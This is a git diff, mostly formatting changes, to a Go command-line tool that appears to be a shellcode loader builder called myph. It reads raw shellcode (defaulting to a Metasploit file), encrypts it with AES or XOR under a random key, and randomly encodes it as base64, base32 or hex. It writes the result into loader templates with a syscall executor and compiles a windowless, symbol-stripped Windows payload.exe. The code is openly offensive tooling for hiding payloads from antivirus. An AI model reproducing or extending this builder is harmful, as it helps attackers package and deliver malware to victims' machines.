diff --git a/cli/defaults.go b/cli/defaults.go
@@ -7,13 +7,13 @@ import (
// Get default value for Options struct
func GetDefaultCLIOptions() Options {
opts := Options{
- ShellcodePath: "msf.raw",
+ ShellcodePath: "msf.raw",
Outdir: "myph-out",
- OS: "windows",
- arch: "amd64",
- Target: "",
- Encryption: EncKindAES,
- Key: "",
+ OS: "windows",
+ arch: "amd64",
+ Target: "",
+ Encryption: EncKindAES,
+ Key: "",
}
return opts
diff --git a/cli/parser.go b/cli/parser.go
@@ -10,7 +10,6 @@ import (
"github.com/spf13/cobra"
)
-
func GetParser(opts *Options) *cobra.Command {
version := "2.0.0"
var cmd = &cobra.Command{
@@ -26,93 +25,90 @@ func GetParser(opts *Options) *cobra.Command {
os.Exit(1)
}
- /* later, we will call "go build" on a golang project, so we need to set up the project tree */
- err := tools.CreateTmpProjectRoot(opts.Outdir)
- if err != nil {
- fmt.Printf("[!] Error generating project root: %s", err)
- os.Exit(1)
- }
-
- /* reading the shellcode as a series of bytes */
- shellcode, err := tools.ReadFile(opts.ShellcodePath)
- if err != nil {
- fmt.Printf("[!] Error reading shellcode file: %s", err)
- os.Exit(1)
- }
-
- /* i got 99 problems but generating a random key aint one */
- if opts.Key == "" {
- opts.Key = tools.RandomString(32)
- }
-
- /* encoding defines the way the series of bytes will be written into the template */
- encType := tools.SelectRandomEncodingType()
-
- /*
- depending on encryption type, we do the following:
-
- - encrypt shellcode with key
- - write both encrypted & key to file
- - write to encrypt.go
- - write to go.mod the required dependencies
- */
-
- var encrypted = []byte{};
- var template = ""
-
- switch opts.Encryption {
- case EncKindAES:
- encrypted, err = tools.EncryptAES(shellcode, []byte(opts.Key))
- if err != nil {
- fmt.Println("[!] Could not encrypt with AES")
- panic(err)
- }
- template = tools.GetAESTemplate()
-
-
- case EncKindXOR:
- encrypted, err = tools.EncryptXOR(shellcode, []byte(opts.Key))
- if err != nil {
- fmt.Println("[!] Could not encrypt with XOR")
- panic(err)
- }
- template = tools.GetXORTemplate()
- }
-
- /* write decryption routine template */
- err = tools.WriteToFile(opts.Outdir, "encrypt.go", template)
- if err != nil {
- panic(err)
- }
-
- /* write main execution template */
- encodedShellcode := tools.EncodeForInterpolation(encType, encrypted)
- encodedKey := tools.EncodeForInterpolation(encType, []byte(opts.Key))
- err = tools.WriteToFile(opts.Outdir, "main.go", tools.GetMainTemplate(encType.String(), encodedKey, encodedShellcode))
- if err != nil {
- panic(err)
- }
-
- /* TODO: add support for more exec templates */
- err = tools.WriteToFile(opts.Outdir, "exec.go", loaders.GetSyscallTemplate())
+ /* later, we will call "go build" on a golang project, so we need to set up the project tree */
+ err := tools.CreateTmpProjectRoot(opts.Outdir)
+ if err != nil {
+ fmt.Printf("[!] Error generating project root: %s", err)
+ os.Exit(1)
+ }
- os.Setenv("GOOS", opts.OS)
- os.Setenv("GOARCH", opts.arch)
+ /* reading the shellcode as a series of bytes */
+ shellcode, err := tools.ReadFile(opts.ShellcodePath)
+ if err != nil {
+ fmt.Printf("[!] Error reading shellcode file: %s", err)
+ os.Exit(1)
+ }
- execCmd := exec.Command("go", "build", "-ldflags", "-s -w -H=windowsgui", "-o", "payload.exe", "main.go")
- execCmd.Dir = opts.Outdir
+ /* i got 99 problems but generating a random key aint one */
+ if opts.Key == "" {
+ opts.Key = tools.RandomString(32)
+ }
- stdout, stderr := execCmd.Output()
+ /* encoding defines the way the series of bytes will be written into the template */
+ encType := tools.SelectRandomEncodingType()
+
+ /*
+ depending on encryption type, we do the following:
+
+ - encrypt shellcode with key
+ - write both encrypted & key to file
+ - write to encrypt.go
+ - write to go.mod the required dependencies
+ */
+
+ var encrypted = []byte{}
+ var template = ""
+
+ switch opts.Encryption {
+ case EncKindAES:
+ encrypted, err = tools.EncryptAES(shellcode, []byte(opts.Key))
+ if err != nil {
+ fmt.Println("[!] Could not encrypt with AES")
+ panic(err)
+ }
+ template = tools.GetAESTemplate()
+
+ case EncKindXOR:
+ encrypted, err = tools.EncryptXOR(shellcode, []byte(opts.Key))
+ if err != nil {
+ fmt.Println("[!] Could not encrypt with XOR")
+ panic(err)
+ }
+ template = tools.GetXORTemplate()
+ }
- if string(stdout) == "" {
- print(stderr)
- os.Exit(1)
- }
+ /* write decryption routine template */
+ err = tools.WriteToFile(opts.Outdir, "encrypt.go", template)
+ if err != nil {
+ panic(err)
+ }
- },
+ /* write main execution template */
+ encodedShellcode := tools.EncodeForInterpolation(encType, encrypted)
+ encodedKey := tools.EncodeForInterpolation(encType, []byte(opts.Key))
+ err = tools.WriteToFile(opts.Outdir, "main.go", tools.GetMainTemplate(encType.String(), encodedKey, encodedShellcode))
+ if err != nil {
+ panic(err)
+ }
+
+ /* TODO: add support for more exec templates */
+ err = tools.WriteToFile(opts.Outdir, "exec.go", loaders.GetSyscallTemplate())
+
+ os.Setenv("GOOS", opts.OS)
+ os.Setenv("GOARCH", opts.arch)
+ execCmd := exec.Command("go", "build", "-ldflags", "-s -w -H=windowsgui", "-o", "payload.exe", "main.go")
+ execCmd.Dir = opts.Outdir
+
+ stdout, stderr := execCmd.Output()
+
+ if string(stdout) == "" {
+ print(stderr)
+ os.Exit(1)
+ }
- }
+ },
+ }
defaults := GetDefaultCLIOptions()
@@ -122,8 +118,8 @@ func GetParser(opts *Options) *cobra.Command {
cmd.PersistentFlags().StringVarP(&opts.arch, "arch", "r", defaults.arch, "architecture compilation target")
cmd.PersistentFlags().StringVarP(&opts.OS, "os", "o", defaults.OS, "OS compilation target")
- cmd.PersistentFlags().VarP(&opts.Encryption, "encryption", "e", "encryption method. (allowed: AES, RSA, XOR)")
- cmd.PersistentFlags().StringVarP(&opts.Key, "key", "k", "", "encryption key, auto-generated if empty. (if used by --encryption-method)")
+ cmd.PersistentFlags().VarP(&opts.Encryption, "encryption", "e", "encryption method. (allowed: AES, RSA, XOR)")
+ cmd.PersistentFlags().StringVarP(&opts.Key, "key", "k", "", "encryption key, auto-generated if empty. (if used by --encryption-method)")
return cmd
}
diff --git a/cli/types.go b/cli/types.go
@@ -2,44 +2,43 @@ package cli
import "errors"
-/// encryption kind (used for CLI)
+// / encryption kind (used for CLI)
type encKind string
const (
- EncKindAES encKind = "AES"
- EncKindXOR encKind = "XOR"
- EncKindBLF encKind = "Blowfish"
+ EncKindAES encKind = "AES"
+ EncKindXOR encKind = "XOR"
+ EncKindBLF encKind = "Blowfish"
)
// String is used both by fmt.Print and by Cobra in help text
func (e *encKind) String() string {
- return string(*e)
+ return string(*e)
}
// Set must have pointer receiver so it doesn't change the value of a copy
func (e *encKind) Set(v string) error {
- switch v {
- case "AES", "XOR":
- *e = encKind(v)
- return nil
- default:
- return errors.New(`must be one of "AES" or "XOR"`)
- }
+ switch v {
+ case "AES", "XOR":
+ *e = encKind(v)
+ return nil
+ default:
+ return errors.New(`must be one of "AES" or "XOR"`)
+ }
}
// Type is only used in help text
func (e *encKind) Type() string {
- return "encKind"
+ return "encKind"
}
-
type Options struct {
- // Shellcode encryption method
- Encryption encKind
+ // Shellcode encryption method
+ Encryption encKind
- // Encryption key (if needed)
- Key string
+ // Encryption key (if needed)
+ Key string
// Shellcode path
ShellcodePath string
diff --git a/go.mod b/go.mod
@@ -5,7 +5,6 @@ go 1.20
require (
github.com/spf13/cobra v1.7.0
golang.org/x/crypto v0.11.0
- golang.org/x/sys v0.10.0
)
require (
diff --git a/go.sum b/go.sum
@@ -8,7 +8,5 @@ github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA=
github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg=
golang.org/x/crypto v0.11.0 h1:6Ewdq3tDic1mg5xRO4milcWCfMVQhI4NkqWWvqejpuA=
golang.org/x/crypto v0.11.0/go.mod h1:xgJhtzW8F9jGdVFWZESrid1U1bjeNy4zgy5cRr/CIio=
-golang.org/x/sys v0.10.0 h1:SqMFp9UcQJZa+pmYuAKjd9xq1f0j5rLcDIk0mj4qAsA=
-golang.org/x/sys v0.10.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
diff --git a/loaders/syscall.go b/loaders/syscall.go
@@ -4,9 +4,8 @@ import (
"fmt"
)
-
func GetSyscallTemplate() string {
- return fmt.Sprintf(`
+ return fmt.Sprintf(`
package main
import (
diff --git a/tools/crypting.go b/tools/crypting.go
@@ -18,7 +18,7 @@ import (
*/
func GetBlowfishTemplate() string {
- return fmt.Sprintf(`
+ return fmt.Sprintf(`
package main
import (
@@ -44,7 +44,7 @@ func Decrypt(toDecrypt []byte, key []byte) (error, []byte) {
}
func GetAESTemplate() string {
- return fmt.Sprintf(`
+ return fmt.Sprintf(`
package main
import (
@@ -76,7 +76,7 @@ func Decrypt(encrypted []byte, key []byte) ([]byte, error) {
}
func GetXORTemplate() string {
- return fmt.Sprintf(`
+ return fmt.Sprintf(`
package main
func Decrypt(toDecrypt []byte, key []byte) ([]byte, error) {
@@ -97,7 +97,7 @@ func EncryptBlowfish(toCrypt []byte, key []byte) (error, []byte) {
return nil, []byte{}
}
- ciphertext := make([]byte, blowfish.BlockSize + len(toCrypt))
+ ciphertext := make([]byte, blowfish.BlockSize+len(toCrypt))
eiv := ciphertext[:blowfish.BlockSize]
ecbc := cipher.NewCBCEncrypter(ecipher, eiv)
ecbc.CryptBlocks(ciphertext[blowfish.BlockSize:], toCrypt)
@@ -120,27 +120,27 @@ func DecryptBlowfish(toDecrypt []byte, key []byte) (error, []byte) {
}
func EncryptXOR(toEncrypt []byte, key []byte) ([]byte, error) {
- encrypted := make([]byte, len(toEncrypt))
- keyLen := len(key)
+ encrypted := make([]byte, len(toEncrypt))
+ keyLen := len(key)
for i, b := range toEncrypt {
- encrypted[i] = b ^ key[i % keyLen]
+ encrypted[i] = b ^ key[i%keyLen]
}
return encrypted, nil
}
func DecryptXOR(toDecrypt []byte, key []byte) ([]byte, error) {
- encrypted := make([]byte, len(toDecrypt))
- keyLen := len(key)
+ encrypted := make([]byte, len(toDecrypt))
+ keyLen := len(key)
for i, b := range toDecrypt {
- encrypted[i] = b ^ key[i % keyLen]
+ encrypted[i] = b ^ key[i%keyLen]
}
return encrypted, nil
}
func EncryptAES(toEncrypt []byte, key []byte) ([]byte, error) {
- c, err := aes.NewCipher(key)
+ c, err := aes.NewCipher(key)
if err != nil {
return nil, err
}
@@ -159,21 +159,21 @@ func EncryptAES(toEncrypt []byte, key []byte) ([]byte, error) {
}
func DecryptAES(encrypted []byte, key []byte) ([]byte, error) {
- c, err := aes.NewCipher(key)
- if err != nil {
- return nil, err
- }
+ c, err := aes.NewCipher(key)
+ if err != nil {
+ return nil, err
+ }
- gcm, err := cipher.NewGCM(c)
- if err != nil {
- return nil, err
- }
+ gcm, err := cipher.NewGCM(c)
+ if err != nil {
+ return nil, err
+ }
- nonceSize := gcm.NonceSize()
- if len(encrypted) < nonceSize {
- return nil, errors.New("ciphertext too short")
- }
+ nonceSize := gcm.NonceSize()
+ if len(encrypted) < nonceSize {
+ return nil, errors.New("ciphertext too short")
+ }
- nonce, ciphertext := encrypted[:nonceSize], encrypted[nonceSize:]
- return gcm.Open(nil, nonce, ciphertext, nil)
+ nonce, ciphertext := encrypted[:nonceSize], encrypted[nonceSize:]
+ return gcm.Open(nil, nonce, ciphertext, nil)
}
diff --git a/tools/encodings.go b/tools/encodings.go
@@ -10,64 +10,63 @@ import (
"time"
)
-/// Enum type that defines which bytes encoding to use
-/// in template source-code
+// / Enum type that defines which bytes encoding to use
+// / in template source-code
type BytesEncodingType string
const (
- EncodingBase64 BytesEncodingType = "base64"
- EncodingBase32 BytesEncodingType = "base32"
- EncodingHex BytesEncodingType = "hex"
+ EncodingBase64 BytesEncodingType = "base64"
+ EncodingBase32 BytesEncodingType = "base32"
+ EncodingHex BytesEncodingType = "hex"
)
-/// Available encodings type
-var Encodings = [3]string{"base64", "base32", "hex"};
+// / Available encodings type
+var Encodings = [3]string{"base64", "base32", "hex"}
// String is used both by fmt.Print and by Cobra in help text
func (e *BytesEncodingType) String() string {
- return string(*e)
+ return string(*e)
}
-/// Set must have pointer receiver so it doesn't change the value of a copy
+// / Set must have pointer receiver so it doesn't change the value of a copy
func (e *BytesEncodingType) Set(v string) error {
- switch v {
- case "base64", "base32", "hex":
- *e = BytesEncodingType(v)
- return nil
- default:
- return errors.New(`must be one of "base64", "base32", or "hex"`)
- }
+ switch v {
+ case "base64", "base32", "hex":
+ *e = BytesEncodingType(v)
+ return nil
+ default:
+ return errors.New(`must be one of "base64", "base32", or "hex"`)
+ }
}
-/// Type is only used in help text
+// / Type is only used in help text
func (e *BytesEncodingType) Type() string {
- return "BytesEncodingType"
+ return "BytesEncodingType"
}
-/// Select a random encoding type
+// / Select a random encoding type
func SelectRandomEncodingType() BytesEncodingType {
- rand.Seed(time.Now().Unix())
- n := rand.Int() % len(Encodings)
+ rand.Seed(time.Now().Unix())
+ n := rand.Int() % len(Encodings)
- return BytesEncodingType(Encodings[n])
+ return BytesEncodingType(Encodings[n])
}
-
-/// Encode a series of bytes so that it can be interpolated into a template
+// / Encode a series of bytes so that it can be interpolated into a template
func EncodeForInterpolation(method BytesEncodingType, toEncode []byte) string {
- switch method {
+ switch method {
- case EncodingBase64:
- return fmt.Sprintf("\"%s\"", b64.StdEncoding.EncodeToString(toEncode))
+ case EncodingBase64:
+ return fmt.Sprintf("\"%s\"", b64.StdEncoding.EncodeToString(toEncode))
- case EncodingBase32:
- return fmt.Sprintf("\"%s\"", b32.StdEncoding.EncodeToString(toEncode))
+ case EncodingBase32:
+ return fmt.Sprintf("\"%s\"", b32.StdEncoding.EncodeToString(toEncode))
- case EncodingHex:
- return fmt.Sprintf("\"%s\"", hex.EncodeToString(toEncode))
+ case EncodingHex:
+ return fmt.Sprintf("\"%s\"", hex.EncodeToString(toEncode))
- default:
- return ""
- }
+ default:
+ return ""
+ }
}
diff --git a/tools/utils.go b/tools/utils.go
@@ -8,18 +8,17 @@ import (
"os"
)
-
func WriteToFile(outfile string, filname string, toWrite string) error {
- full_path := fmt.Sprintf("%s/%s", outfile, filname)
- file, err := os.OpenFile(full_path, os.O_TRUNC | os.O_WRONLY, 0644)
- if err != nil {
- return err
- }
+ full_path := fmt.Sprintf("%s/%s", outfile, filname)
+ file, err := os.OpenFile(full_path, os.O_TRUNC|os.O_WRONLY, 0644)
+ if err != nil {
+ return err
+ }
- file.WriteString(toWrite)
- file.Close()
- return nil
+ file.WriteString(toWrite)
+ file.Close()
+ return nil
}
func RandomString(n int) string {
@@ -45,65 +44,65 @@ func ReadFile(filepath string) ([]byte, error) {
}
func DirExists(dir string) (bool, error) {
- _, err := os.Stat(dir)
- if err == nil {
- return true, nil
- }
+ _, err := os.Stat(dir)
+ if err == nil {
+ return true, nil
+ }
- if os.IsNotExist(err) {
- return false, nil
- }
- return false, err
+ if os.IsNotExist(err) {
+ return false, nil
+ }
+ return false, err
}
func CreateTmpProjectRoot(path string) error {
- /*
- create a directory with the path name
- defined by the options
- */
+ /*
+ create a directory with the path name
+ defined by the options
+ */
- exists, err := DirExists(path)
- if err != nil {
- return err
- }
+ exists, err := DirExists(path)
+ if err != nil {
+ return err
+ }
- if exists {
- os.RemoveAll(path)
- }
+ if exists {
+ os.RemoveAll(path)
+ }
- err = os.MkdirAll(path, 0777)
- if err != nil {
- return err
- }
+ err = os.MkdirAll(path, 0777)
+ if err != nil {
+ return err
+ }
- var go_mod = []byte(`
+ var go_mod = []byte(`
module github.com/cmepw/myph
go 1.20
`)
- gomod_path := fmt.Sprintf("%s/go.mod", path)
- fo, err := os.Create(gomod_path)
- fo.Write(go_mod)
+ gomod_path := fmt.Sprintf("%s/go.mod", path)
+ fo, err := os.Create(gomod_path)
+ fo.Write(go_mod)
- fmt.Println("[+] Project root created....")
+ fmt.Println("[+] Project root created....")
- maingo_path := fmt.Sprintf("%s/main.go", path)
- _, _ = os.Create(maingo_path)
+ maingo_path := fmt.Sprintf("%s/main.go", path)
+ _, _ = os.Create(maingo_path)
- execgo_path := fmt.Sprintf("%s/exec.go", path)
- _, _ = os.Create(execgo_path)
+ execgo_path := fmt.Sprintf("%s/exec.go", path)
+ _, _ = os.Create(execgo_path)
- encryptgo_path := fmt.Sprintf("%s/encrypt.go", path)
- _, _ = os.Create(encryptgo_path)
+ encryptgo_path := fmt.Sprintf("%s/encrypt.go", path)
+ _, _ = os.Create(encryptgo_path)
- return nil
+ return nil
}
func GetMainTemplate(encoding string, key string, sc string) string {
- return fmt.Sprintf(`
+ return fmt.Sprintf(`
package main
import (
| | | | | | | | |